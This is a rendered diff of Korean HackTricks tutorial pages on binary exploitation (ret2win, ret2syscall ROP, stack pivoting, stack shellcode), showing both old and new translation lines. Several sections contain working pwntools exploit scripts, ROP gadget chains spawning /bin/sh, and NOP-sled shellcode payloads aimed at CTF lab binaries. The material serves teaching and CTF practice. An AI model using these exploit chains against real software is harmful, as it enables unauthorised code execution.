Python 스크립트는 `vulnerable_function`에서 처리될 때 조심스럽게 만들어진 메시지를 보내어 버퍼를 오버플로우시키고 스택의 반환 주소를 `win`의 주소로 덮어씁니다. `vulnerable_function`이 반환할 때 `main`으로 반환하거나 종료하는 대신 `win`으로 이동하고 메시지가 출력됩니다.
|
||||
Python 스크립트는 `vulnerable_function`에서 처리될 때 정확히 조작된 메시지를 보내어 버퍼 오버플로우를 발생시키고 스택의 반환 주소를 `win`의 주소로 덮어씁니다. `vulnerable_function`이 반환될 때 `main`으로 반환하거나 종료하는 대신 `win`으로 이동하여 메시지가 출력됩니다.
|
||||
|
||||
## 보호 기능
|
||||
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/)은 **비활성화되어야** 주소가 실행마다 신뢰할 수 있게 되거나 함수가 저장될 주소가 항상 같지 않아서 win 함수가 로드된 위치를 알아내기 위해 유출이 필요합니다.
|
||||
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/)도 비활성화되어야 하며, 손상된 EIP 반환 주소가 결코 따라가지 않을 것입니다.
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/)은 **비활성화**되어야 합니다. 그렇지 않으면 함수가 저장될 주소가 항상 동일하지 않을 수 있으며 win 함수가 로드된 위치를 파악하기 위해 일부 leak이 필요합니다.
|
||||
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/)도 비활성화되어야 합니다. 그렇지 않으면 손상된 EIP 반환 주소가 결코 따라지지 않을 것입니다.
|
||||
|
||||
## 다른 예제 및 참고 자료
|
||||
## 다른 예제 및 참조
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
|
||||
* [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 AWS 해킹을 전문가로 배우세요</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
* 32비트, ASLR 없음
|
||||
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html)
|
||||
* ASLR이 있는 64비트, 바이너리 주소의 leak 포함
|
||||
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html)
|
||||
* 64비트, ASLR 없음
|
||||
* [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html)
|
||||
* 32비트, ASLR 없음, 더블 스몰 오버플로우, 스택 오버플로우 및 두 번째 오버플로우 크기를 확장하는 첫 번째 오버플로우
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
|
||||
* 32비트, relro, 캐너리 없음, nx, pie 없음, 주소 `fflush`를 win 함수로 덮어쓰기 위한 포맷 문자열 (ret2win)
|
||||
|
|
|
@ -6,26 +6,28 @@
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
- **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하려면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 기본 정보
|
||||
|
||||
이것은 Ret2lib와 유사하지만, 이 경우에는 라이브러리에서 함수를 호출하지 않을 것입니다. 이 경우에는 `sys_execve` 시스템 호출을 호출하기 위해 `/bin/sh`를 실행하는 인수를 사용하여 모든 것이 준비될 것입니다.
|
||||
이것은 Ret2lib와 유사하지만, 이 경우에는 라이브러리에서 함수를 호출하지 않을 것입니다. 이 경우에는 `sys_execve` 시스템 호출을 호출하기 위해 모든 것이 준비될 것입니다. `/bin/sh`를 실행하기 위한 몇 가지 인수가 있습니다.
|
||||
|
||||
**시스템 호출**을 호출하기 위해 다음 구성이 필요합니다:
|
||||
**시스템 호출**을 준비하기 위해서는 다음 구성이 필요합니다:
|
||||
|
||||
* `rax: 59 sys_execve 지정`
|
||||
* `rdi: "/bin/sh"를 가리키는 포인터 실행할 파일 지정`
|
||||
* `rsi: 0 전달된 인수 없음 지정`
|
||||
* `rdx: 0 전달된 환경 변수 없음 지정`
|
||||
- `rax: 59 sys_execve 지정`
|
||||
- `rdi: "/bin/sh"를 가리키는 포인터 실행할 파일 지정`
|
||||
- `rsi: 0 전달된 인수 없음 지정`
|
||||
- `rdx: 0 전달된 환경 변수 없음 지정`
|
||||
|
||||
따라서 기본적으로 문자열 `/bin/sh`를 어딘가에 쓰고, 그런 다음 `syscall`을 수행해야 합니다(스택을 제어하기 위해 필요한 패딩을 고려하여). 이를 위해 `/bin/sh`를 알려진 영역에 쓰기 위한 가젯이 필요합니다.
|
||||
따라서 기본적으로 문자열 `/bin/sh`를 어딘가에 쓰고, 그런 다음 `syscall`을 수행해야 합니다(스택을 제어하기 위해 필요한 패딩을 고려).
|
||||
|
||||
이를 위해 알려진 영역에 `/bin/sh`를 쓰기 위한 가젯이 필요합니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
호출할 또 다른 흥미로운 시스템 호출은 **`mprotect`**이며, 이를 통해 공격자가 **메모리의 페이지 권한을 수정**할 수 있습니다.
|
||||
|
@ -41,7 +43,7 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
|
|||
0x00000000004101f3 : pop rsi ; ret
|
||||
0x00000000004498b5 : pop rdx ; ret
|
||||
```
|
||||
다음 주소를 사용하여 **스택에 내용을 작성하고 레지스터에로드**할 수 있습니다.
|
||||
이 주소들을 사용하면 **스택에 내용을 작성하고 레지스터에로드**할 수 있습니다.
|
||||
|
||||
## 문자열 작성
|
||||
|
||||
|
@ -109,7 +111,7 @@ rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
|||
[srop-sigreturn-oriented-programming.md](srop-sigreturn-oriented-programming.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 예제
|
||||
## 공격 예제
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -176,20 +178,25 @@ target.sendline(payload)
|
|||
|
||||
target.interactive()
|
||||
```
|
||||
## 참고 자료
|
||||
## 다른 예제 및 참고 자료
|
||||
|
||||
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
|
||||
* 64 비트, PIE 없음, nx, 메모리에 `execve`를 호출하고 거기로 이동하는 ROP를 작성합니다.
|
||||
* [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html)
|
||||
* 64 비트, nx, PIE 없음, 메모리에 `execve`를 호출하고 거기로 이동하는 ROP를 작성합니다. 수학 연산을 수행하는 함수를 스택에 쓰기 위해 남용됩니다.
|
||||
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
|
||||
* 64 비트, PIE 없음, nx, BF 캐너리, 메모리에 `execve`를 호출하고 거기로 이동하는 ROP를 작성합니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 AWS 해킹을 배우세요</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 히어로까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 될 때까지 AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하고 싶다면** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 PR을 제출하세요.**
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -18,7 +18,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
이 기술은 **베이스 포인터 (EBP)**를 조작하여 EBP 레지스터와 `leave; ret` 명령어 시퀀스를 신중하게 사용하여 여러 함수의 실행을 연결하는 능력을 악용합니다.
|
||||
|
||||
`leave`는 기본적으로 다음을 의미합니다:
|
||||
기억을 되살리자면, **`leave`**는 기본적으로 다음을 의미합니다:
|
||||
```
|
||||
movl %ebp, %esp
|
||||
popl %ebp
|
||||
|
@ -28,23 +28,31 @@ ret
|
|||
|
||||
이 기술은 **EBP 레지스터를 변경할 수 있지만 EIP 레지스터를 직접적으로 변경할 방법이 없을 때 특히 유용**합니다. 함수가 실행을 마치면서 발생하는 동작을 활용합니다.
|
||||
|
||||
`fvuln`의 실행 중에 스택에 가짜 EBP를 삽입하여 해당 위치가 쉘코드 주소가 있는 메모리 영역을 가리키도록 관리한다면 (pop 작업을 고려하여 4바이트를 더한 위치), 간접적으로 EIP를 제어할 수 있습니다. `fvuln`이 반환될 때 ESP는 이 조작된 위치로 설정되고, 이후의 `pop` 작업은 ESP를 4만큼 감소시켜 실제로 쉘코드를 가리키도록 만듭니다. `ret` 명령이 실행되면 제어가 쉘코드로 전달됩니다.
|
||||
`fvuln`의 실행 중에 스택에 가짜 EBP를 삽입하여 해당 위치가 쉘코드 주소가 있는 메모리 영역을 가리키도록 만들면(4바이트를 `pop` 작업을 고려하여 더한 상태), 간접적으로 EIP를 제어할 수 있습니다. `fvuln`이 반환될 때 ESP는 이 조작된 위치로 설정되며, 이후의 `pop` 작업은 ESP를 4만큼 감소시켜 **사용자가 설정한 주소를 가리키도록 만듭니다.**\
|
||||
여기서 **알아야 할 주소가 2개** 있음을 주목하세요: ESP가 이동할 위치 및 ESP가 가리키는 주소를 써야 하는 위치.
|
||||
|
||||
#### Exploit 구성
|
||||
|
||||
먼저 실행 가능한 메모리의 어딘가에 **쉘코드를 삽입**하고 **주소를 가져오거나**, 유효한 [**ONE\_GADGET**](https://github.com/david942j/one\_gadget)의 주소를 가져오거나, ESP를 `system()`의 주소와 **4바이트의 쓰레기 바이트** 및 `"/bin/sh"`의 주소가 있는 위치로 지정해야 합니다.
|
||||
먼저 **임의의 데이터/주소를 쓸 수 있는 주소를 알아야** 합니다. ESP는 여기를 가리키고 **첫 번째 `ret`를 실행**할 것입니다.
|
||||
|
||||
그런 다음, 패딩을 생성하고 `shellcode/one_gadget 주소 - 4`로 EBP를 **손상**시켜야 합니다. `pop` 때문에 `-4`여야 합니다. 그런 다음 `ESP`는 우리가 원하는 주소를 가리키게 되고 `ret`가 실행됩니다.
|
||||
그런 다음, **임의의 코드를 실행할** `ret`에서 사용되는 주소를 알아야 합니다. 다음을 사용할 수 있습니다:
|
||||
|
||||
* 유효한 [**ONE\_GADGET**](https://github.com/david942j/one\_gadget) 주소.
|
||||
* **`system()`** 주소 뒤에 **4바이트의 쓰레기 바이트**와 `"/bin/sh"` 주소(x86 비트).
|
||||
* **`jump esp;`** 가젯([**ret2esp**](ret2esp-ret2reg.md)) 주소 뒤에 실행할 쉘코드.
|
||||
* 일부 [**ROP**](rop-return-oriented-programing.md) 체인
|
||||
|
||||
제어 가능한 메모리의 해당 부분에 이러한 주소들 앞에는 **`4`바이트**가 있어야 합니다. 이 4바이트를 악용하여 **두 번째 가짜 EBP를 설정하고 실행을 계속 제어**할 수 있습니다.
|
||||
|
||||
#### Off-By-One Exploit
|
||||
|
||||
이 기술의 특정 변형인 "Off-By-One Exploit"이 있습니다. 이는 **EBP의 가장 낮은 유효 바이트만 수정할 수 있는 경우** 사용됩니다. 이 경우 쉘코드 주소를 저장하는 메모리 위치는 EBP와 첫 세 바이트를 공유해야 하므로 더 제약 조건이 있는 유사한 조작이 가능합니다.
|
||||
이 기술의 특정 변형인 "Off-By-One Exploit"이라고 알려진 것이 있습니다. 이는 **EBP의 가장 낮은 유효 바이트만 수정할 수 있는 경우** 사용됩니다. 이 경우, **`ret`로 이동할 주소를 저장하는 메모리 위치**는 EBP와 처음 세 바이트를 공유해야 하므로 더 제약 조건으로 유사한 조작이 가능합니다.
|
||||
|
||||
### **EBP Chaining**
|
||||
|
||||
따라서 스택의 `EBP` 항목에 제어 가능한 주소를 넣고 `EIP`에 `leave; ret`의 주소를 넣으면 **`ESP`를 스택에서 제어 가능한 `EBP` 주소로 이동**할 수 있습니다.
|
||||
따라서 스택의 `EBP` 항목에 제어 가능한 주소를 넣고 `EIP`에 `leave; ret` 주소를 넣으면 **`ESP`를 스택에서 제어 가능한 `EBP` 주소로 이동**할 수 있습니다.
|
||||
|
||||
이제 **`ESP`**가 원하는 주소를 가리키고 실행할 다음 명령이 `RET`인 상태입니다. 이를 악용하기 위해 제어 가능한 ESP 위치에 다음을 배치할 수 있습니다:
|
||||
이제 **`ESP`**가 원하는 주소를 가리키고 실행할 다음 명령은 `RET`입니다. 이를 악용하기 위해 제어 가능한 ESP 위치에 다음을 놓을 수 있습니다:
|
||||
|
||||
* **`&(다음 가짜 EBP)`** -> `leave` 명령의 `pop ebp`로 새로운 EBP를 로드합니다.
|
||||
* **`system()`** -> `ret`에 의해 호출됩니다.
|
||||
|
@ -55,7 +63,7 @@ ret
|
|||
|
||||
솔직히 말해서, 이것은 [ret2lib](ret2lib/)와 유사하지만 명백한 이점은 없지만 일부 특수한 경우에 흥미로울 수 있습니다.
|
||||
|
||||
또한, 여기에는 이 기술을 사용하여 **우승 함수를 호출하는 승리 함수를 호출하는** **스택 누출**이 있는 [**도전 과제 예제**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)가 있습니다. 이 페이지의 최종 페이로드는 다음과 같습니다:
|
||||
또한 여기에는 이 기술을 사용하여 **우승 함수를 호출하는 스택 누출**을 수행하는 [**도전 과제 예제**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)가 있습니다. 이 페이지의 최종 페이로드는 다음과 같습니다:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -91,11 +99,38 @@ pause()
|
|||
p.sendline(payload)
|
||||
print(p.recvline())
|
||||
```
|
||||
## EBP는 쓸모가 없다
|
||||
|
||||
[**이 게시물에서 설명한대로**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), 바이너리가 일부 최적화로 컴파일된 경우, **EBP는 ESP를 제어하지 못하므로**, EBP를 제어하여 작동하는 어떤 악용도 실제로 효과가 없어 실패할 것입니다.\
|
||||
이는 바이너리가 최적화되었을 때 **프롤로그와 에필로그가 변경**되기 때문입니다.
|
||||
|
||||
* **최적화되지 않음:**
|
||||
```bash
|
||||
push %ebp # save ebp
|
||||
mov %esp,%ebp # set new ebp
|
||||
sub $0x100,%esp # increase stack size
|
||||
.
|
||||
.
|
||||
.
|
||||
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
|
||||
ret # return
|
||||
```
|
||||
* **최적화됨:**
|
||||
```bash
|
||||
push %ebx # save ebx
|
||||
sub $0x100,%esp # increase stack size
|
||||
.
|
||||
.
|
||||
.
|
||||
add $0x10c,%esp # reduce stack size
|
||||
pop %ebx # restore ebx
|
||||
ret # return
|
||||
```
|
||||
## RSP를 제어하는 다른 방법
|
||||
|
||||
### **`pop rsp`** 가젯
|
||||
|
||||
[**이 페이지**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp)에서 이 기술을 사용한 예제를 찾을 수 있습니다. 이 도전 과제에서는 2개의 특정 인수를 사용하여 함수를 호출해야 했으며 **`pop rsp` 가젯**이 있었으며 **스택에서의 leak**이 있었습니다:
|
||||
[**이 페이지**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp)에서 이 기술을 사용한 예제를 찾을 수 있습니다. 이 도전 과제에서는 2개의 특정 인수를 사용하여 함수를 호출해야 했으며 **`pop rsp` 가젯**이 필요했으며 **스택에서의 누출**이 있었습니다:
|
||||
```python
|
||||
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
|
||||
# This version has added comments
|
||||
|
@ -156,10 +191,10 @@ xchg <rag>, rsp
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -16,7 +16,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
## 기본 정보
|
||||
|
||||
**스택 쉘코드**는 이진 해킹에서 사용되는 기술로, 공격자가 취약한 프로그램의 스택에 쉘코드를 작성한 다음 **명령어 포인터 (IP)** 또는 **확장된 명령어 포인터 (EIP)**를 이 쉘코드의 위치를 가리키도록 수정하여 실행시키는 기법입니다. 이는 무단 액세스를 얻거나 대상 시스템에서 임의의 명령을 실행하는 데 사용되는 고전적인 방법입니다. 여기에는 간단한 C 예제와 **pwntools**를 사용하여 해당 취약점을 이용하는 방법이 포함되어 있습니다.
|
||||
**스택 쉘코드**는 이진 해킹에서 사용되는 기술로, 공격자가 취약한 프로그램의 스택에 쉘코드를 작성하고 **명령어 포인터 (IP)** 또는 **확장된 명령어 포인터 (EIP)**를 이 쉘코드의 위치를 가리키도록 수정하여 실행시키는 것입니다. 이는 무단 액세스를 얻거나 대상 시스템에서 임의의 명령을 실행하는 데 사용되는 고전적인 방법입니다. 여기에는 간단한 C 예제와 **pwntools**를 사용하여 해당 취약점을 이용하는 방법이 포함되어 있습니다.
|
||||
|
||||
### C 예제: 취약한 프로그램
|
||||
|
||||
|
@ -45,8 +45,8 @@ return 0;
|
|||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
* `-fno-stack-protector`: 스택 보호 기능을 비활성화합니다.
|
||||
* `-z execstack`: 스택을 실행 가능하게 만들어줍니다. 이는 스택에 저장된 쉘코드를 실행하는 데 필요합니다.
|
||||
* `-no-pie`: 위치 독립 실행 파일을 비활성화하여 쉘코드가 위치할 메모리 주소를 예측하기 쉽게 합니다.
|
||||
* `-z execstack`: 스택을 실행 가능하게 만들어줍니다. 이는 스택에 저장된 셸코드를 실행하는 데 필요합니다.
|
||||
* `-no-pie`: 위치 독립 실행 파일을 비활성화하여 셸코드가 위치할 메모리 주소를 예측하기 쉽게 합니다.
|
||||
* `-m32`: 프로그램을 32비트 실행 파일로 컴파일합니다. 종종 exploit 개발의 간편함을 위해 사용됩니다.
|
||||
|
||||
### Pwntools를 사용한 Python Exploit
|
||||
|
@ -80,14 +80,34 @@ p.interactive()
|
|||
```
|
||||
이 스크립트는 **NOP 슬라이드**, **쉘코드**, 그리고 **EIP**를 NOP 슬라이드를 가리키는 주소로 덮어쓰면서 쉘코드가 실행되도록 페이로드를 구성합니다.
|
||||
|
||||
**NOP 슬라이드** (`asm('nop')`)는 실행이 정확한 주소에 관계없이 쉘코드로 "슬라이딩"될 가능성을 높이기 위해 사용됩니다. `p32()` 인자를 버퍼의 시작 주소에 오프셋을 더한 값으로 조정하세요.
|
||||
**NOP 슬라이드** (`asm('nop')`)는 실행이 정확한 주소에 관계없이 쉘코드로 "슬라이딩"될 가능성을 높이기 위해 사용됩니다. `p32()` 인자를 버퍼의 시작 주소에 오프셋을 더한 값으로 조정하여 NOP 슬라이드에 도달하도록 합니다.
|
||||
|
||||
## 보호 기능
|
||||
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/)은 실행마다 신뢰할 수 있는 주소를 위해 **비활성화**되어야 합니다. 그렇지 않으면 함수가 저장될 주소가 항상 동일하지 않을 수 있고 이길 함수가 로드된 위치를 알아내기 위해 일부 정보 누출이 필요할 수 있습니다.
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/)은 실행마다 신뢰할 수 있는 주소를 위해 **비활성화**되어야 합니다. 그렇지 않으면 함수가 저장될 주소가 항상 동일하지 않을 수 있으며, 이를 알아내기 위해 어딘가에서 유출이 필요할 수 있습니다.
|
||||
* [**스택 카나리**](../common-binary-protections-and-bypasses/stack-canaries/)도 비활성화되어야 합니다. 그렇지 않으면 침해된 EIP 반환 주소가 결코 따라가지 않을 수 있습니다.
|
||||
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) **스택** 보호는 스택 내부의 쉘코드 실행을 방지할 수 있습니다. 해당 영역은 실행할 수 없기 때문입니다.
|
||||
|
||||
## 다른 예시
|
||||
## 다른 예시 및 참고 자료
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
||||
* [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html)
|
||||
* 64비트, 스택 주소 유출과 ASLR, 쉘코드 작성 및 실행
|
||||
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html)
|
||||
* 32비트, 스택 유출과 ASLR, 쉘코드 작성 및 실행
|
||||
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html)
|
||||
* 32비트, 스택 유출과 ASLR, exit() 호출 방지를 위한 비교, 변수 덮어쓰기, 쉘코드 작성 및 실행
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 AWS 해킹을 전문가로 배우세요**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue